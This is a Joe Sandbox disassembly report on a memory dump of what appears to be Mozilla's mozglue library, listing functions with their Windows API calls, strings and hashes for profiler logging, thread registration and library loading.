Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 21d231439b3aeb972dff8dc6797452225e9d0fe7018f2695c1c12f90be17e923
Instruction ID: 293c3bd29150b65420c401d9490c4a137bcc40bf04f2f5a2f0f5404c09a1b792
Opcode Fuzzy Hash: 21d231439b3aeb972dff8dc6797452225e9d0fe7018f2695c1c12f90be17e923
Instruction Fuzzy Hash: D3810470A001009BDB14DF2BC8A476A3775AF82329F140629D916D7F46D7B1F845CB9F

Function 6C664470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C664730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
Part of subcall function 6C664730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6644D2
InitOnceExecuteOnce.KERNEL32(6C6DF80C,6C65F240,?,?), ref: 6C66451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66455C
LoadLibraryW.KERNEL32(?), ref: 6C664592
InitializeCriticalSection.KERNEL32(6C6DF770), ref: 6C6645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6645BB
InitOnceExecuteOnce.KERNEL32(6C6DF818,6C65F240,?,?), ref: 6C664612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C664636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C664644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C66466D
VerSetConditionMask.NTDLL ref: 6C66469F
VerSetConditionMask.NTDLL ref: 6C6646AB
VerSetConditionMask.NTDLL ref: 6C6646B2
VerSetConditionMask.NTDLL ref: 6C6646B9
VerSetConditionMask.NTDLL ref: 6C6646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6646FD

Strings

WRusr.dll, xrefs: 6C6644B5
user32.dll, xrefs: 6C664557, 6C66463F
l, xrefs: 6C664578
NativeNtBlockSet_Write, xrefs: 6C6646F7
Gml, xrefs: 6C6644FC
kernel32.dll, xrefs: 6C6644CD

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gml$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-884719140
Opcode ID: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction ID: eab5048da82757be091df25168019b24db7482201df077dfba6ea1edc53506d4
Opcode Fuzzy Hash: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction Fuzzy Hash: AE6106B0604244AFEB00DF63D895BA57BB8EF86348F04C458E5049BA41D7F1AA85CF9F

Function 6C69F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C69F8F9

Part of subcall function 6C666390: GetCurrentThreadId.KERNEL32 ref: 6C6663D0
Part of subcall function 6C666390: AcquireSRWLockExclusive.KERNEL32 ref: 6C6663DF
Part of subcall function 6C666390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C66640E

ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F93A
GetCurrentThreadId.KERNEL32 ref: 6C69F98A
GetCurrentThreadId.KERNEL32 ref: 6C69F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F716

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Part of subcall function 6C65B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C65B5E0

GetCurrentThreadId.KERNEL32 ref: 6C69F739
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F746
GetCurrentThreadId.KERNEL32 ref: 6C69F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6D385B,00000002,?,?,?,?,?), ref: 6C69F829
free.MOZGLUE(?,?,00000000,?), ref: 6C69F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C69F866
free.MOZGLUE(?), ref: 6C69FA0C

Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C665E8C
Part of subcall function 6C665E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665E9D
Part of subcall function 6C665E60: GetCurrentThreadId.KERNEL32 ref: 6C665EAB
Part of subcall function 6C665E60: GetCurrentThreadId.KERNEL32 ref: 6C665EB8
Part of subcall function 6C665E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665ECF
Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C665F27
Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C665F47
Part of subcall function 6C665E60: GetCurrentProcess.KERNEL32 ref: 6C665F53
Part of subcall function 6C665E60: GetCurrentThread.KERNEL32 ref: 6C665F5C
Part of subcall function 6C665E60: GetCurrentProcess.KERNEL32 ref: 6C665F66
Part of subcall function 6C665E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C665F7E

free.MOZGLUE(?), ref: 6C69F9C5
free.MOZGLUE(?), ref: 6C69F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6C69F71F
Thread , xrefs: 6C69F789
" attempted to re-register as ", xrefs: 6C69F858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C69F9A6

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: b1212e13894a61565bf873e0a71522ff3f24380dbdd5ad14f6d00f76d55e6a09
Instruction ID: ac30982e706685506d0b69bd6c31d6219e903b9dfed3c3e8203c429b5339d853
Opcode Fuzzy Hash: b1212e13894a61565bf873e0a71522ff3f24380dbdd5ad14f6d00f76d55e6a09
Instruction Fuzzy Hash: 908106716042019FDB10DF25C880AAEB7B5EFC6308F55456DE8499BB51EB30E849CBAF

Function 6C69EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EE60
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EE6D
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69EEA5
CloseHandle.KERNEL32(?), ref: 6C69EEB4
free.MOZGLUE(00000000), ref: 6C69EEBB
GetCurrentThreadId.KERNEL32 ref: 6C69EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EECF

Part of subcall function 6C69DE60: GetCurrentThreadId.KERNEL32 ref: 6C69DE73
Part of subcall function 6C69DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C664A68), ref: 6C69DE7B
Part of subcall function 6C69DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C664A68), ref: 6C69DEB8
Part of subcall function 6C69DE60: free.MOZGLUE(00000000,?,6C664A68), ref: 6C69DEFE
Part of subcall function 6C69DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C69DF38

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C69EF1E
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EF2B
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EF59
GetCurrentThreadId.KERNEL32 ref: 6C69EFB0
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFBD
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFE1
GetCurrentThreadId.KERNEL32 ref: 6C69EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F000

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F02F

Part of subcall function 6C69F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C69F09B
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C69F0AC
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C69F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C69F008
[I %d/%d] profiler_stop, xrefs: 6C69EED7

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 50cf38773bf96c03438fd58e1a0dbcecab98bc745bc5edc233a6154d42347645
Instruction ID: 54bae6752647e8a262a5c2443303edca6c75c1bed4f4c2427930dd117207f867
Opcode Fuzzy Hash: 50cf38773bf96c03438fd58e1a0dbcecab98bc745bc5edc233a6154d42347645
Instruction Fuzzy Hash: EC5126316002129FDB005F66D8887A97BB4FF8B36DF14456AE91683B42DB747805CBAF

Function 6C667FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C668007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C66801D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C66802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C66803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C66808D

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C66809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C6680B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C6680DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6680ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6680FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C668133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C668149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C668167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C66817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C668199

Strings

0>il, xrefs: 6C66811E

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>il
API String ID: 2721933968-262214330
Opcode ID: 6daa6ad6a1aa670d2460bd2e6b046e11d15abd9a6f15b4c48b4a63c30e3842e9
Instruction ID: 83c4bbc69237aee19b48065aac150f773266d4b0cc0585ffd672a350faed6229
Opcode Fuzzy Hash: 6daa6ad6a1aa670d2460bd2e6b046e11d15abd9a6f15b4c48b4a63c30e3842e9
Instruction Fuzzy Hash: 925192B1E002056BDB00DFAADC809EFB7B9EF4A324F140525E815E7751E730AD05CBAA

Function 6C665E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665E9D

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

GetCurrentThreadId.KERNEL32 ref: 6C665EAB
GetCurrentThreadId.KERNEL32 ref: 6C665EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C666017

Part of subcall function 6C654310: moz_xmalloc.MOZGLUE(00000010,?,6C6542D2), ref: 6C65436A
Part of subcall function 6C654310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C6542D2), ref: 6C654387

moz_xmalloc.MOZGLUE(00000004), ref: 6C665F47
GetCurrentProcess.KERNEL32 ref: 6C665F53
GetCurrentThread.KERNEL32 ref: 6C665F5C
GetCurrentProcess.KERNEL32 ref: 6C665F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C665F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C665F27

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C665E8C

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C66605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C6660CC

Strings

GeckoMain, xrefs: 6C665ECE, 6C666015

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 211275ea6b9994ee602de484c5dd006bb7ae7fee4f0c774230fc7d995417a863
Instruction ID: 2cd89fd41bcb337c7bb41e7ff879147b1e396609699be3e1535cb98365efdae5
Opcode Fuzzy Hash: 211275ea6b9994ee602de484c5dd006bb7ae7fee4f0c774230fc7d995417a863
Instruction Fuzzy Hash: 6371BFB06047409FD710DF2AD480A6ABBF0FF8A304F54496DE58687F52D731E948CB9A

Function 6C669590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C653217
Part of subcall function 6C6531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C653236
Part of subcall function 6C6531C0: FreeLibrary.KERNEL32 ref: 6C65324B
Part of subcall function 6C6531C0: __Init_thread_footer.LIBCMT ref: 6C653260
Part of subcall function 6C6531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C65327F
Part of subcall function 6C6531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65328E
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6532AB
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6532D1
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6532E5
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C669675
__Init_thread_footer.LIBCMT ref: 6C669697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C669707
__Init_thread_footer.LIBCMT ref: 6C66971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6697B7
FreeLibrary.KERNEL32 ref: 6C6697D0
FreeLibrary.KERNEL32 ref: 6C6697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669824

Strings

NtMapViewOfSection, xrefs: 6C669701
MapViewOfFileNuma2, xrefs: 6C6697B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C669670
ntdll.dll, xrefs: 6C6696E3

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: fd55bb060ca324fad644d0592b8733138f23f4a485bfe4bfee0cdb20c0154ef6
Instruction ID: 99e33e289692ab79beea46c92a1b769f038b8cec121decf90c14e6842b775f47
Opcode Fuzzy Hash: fd55bb060ca324fad644d0592b8733138f23f4a485bfe4bfee0cdb20c0154ef6
Instruction Fuzzy Hash: AF61B0716002069BDF008F67E8D4BDA7BB1EB8A358F118529ED1597B80D770B854CBAF

Function 6C6B6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6694
GetThreadId.KERNEL32(?), ref: 6C6B66B1
GetCurrentThreadId.KERNEL32 ref: 6C6B66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6B66E1
EnterCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6734
GetCurrentProcess.KERNEL32 ref: 6C6B673A
LeaveCriticalSection.KERNEL32(6C6DF618), ref: 6C6B676C
GetCurrentThread.KERNEL32 ref: 6C6B67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C6B6868
RtlCaptureContext.NTDLL ref: 6C6B687F

Strings

WalkStack64, xrefs: 6C6B6890

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: e7da402c09b6af611a02b9743e00f820c7f47792369de1c6150b12d6e61423fe
Instruction ID: 046c4d9724e0885745c9a256f4235ce348d1688609555383b529b970b5b0e2ec
Opcode Fuzzy Hash: e7da402c09b6af611a02b9743e00f820c7f47792369de1c6150b12d6e61423fe
Instruction Fuzzy Hash: 1151ED71A09301AFDB15CF25C884B9ABBF4FF89714F00492DF999A7640D770E918CB9A

Function 6C69DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69DE73
GetCurrentThreadId.KERNEL32 ref: 6C69DF7D
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69DF8A
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69DFC9
GetCurrentThreadId.KERNEL32 ref: 6C69DFF7
